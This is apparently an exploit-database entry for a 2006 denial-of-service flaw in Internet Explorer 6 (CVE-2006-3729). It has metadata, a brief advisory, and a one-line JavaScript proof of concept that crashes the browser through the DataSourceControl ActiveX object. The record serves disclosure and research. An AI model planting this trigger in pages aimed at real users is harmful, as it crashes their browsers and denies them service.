Microsoft Internet Explorer 6 - DataSourceControl Denial of Service

Author: hdm
type: dos
platform: windows
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date_added: 2006-07-19 
date_updated: 2013-09-12 
verified: 1 
codes: CVE-2006-3729;OSVDB-27111 
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source: https://www.securityfocus.com/bid/19069/info

Internet Explorer is prone to a denial-of-service vulnerability.

An attacker can exploit this vulnerability to crash Internet Explorer and deny service to users.

Internet Explorer 6 SP2 is prone to this issue; other versions may also be vulnerable.

var a = new ActiveXObject('OWC11.DataSourceControl.11'); a.getDataMemberName(-0x80000000);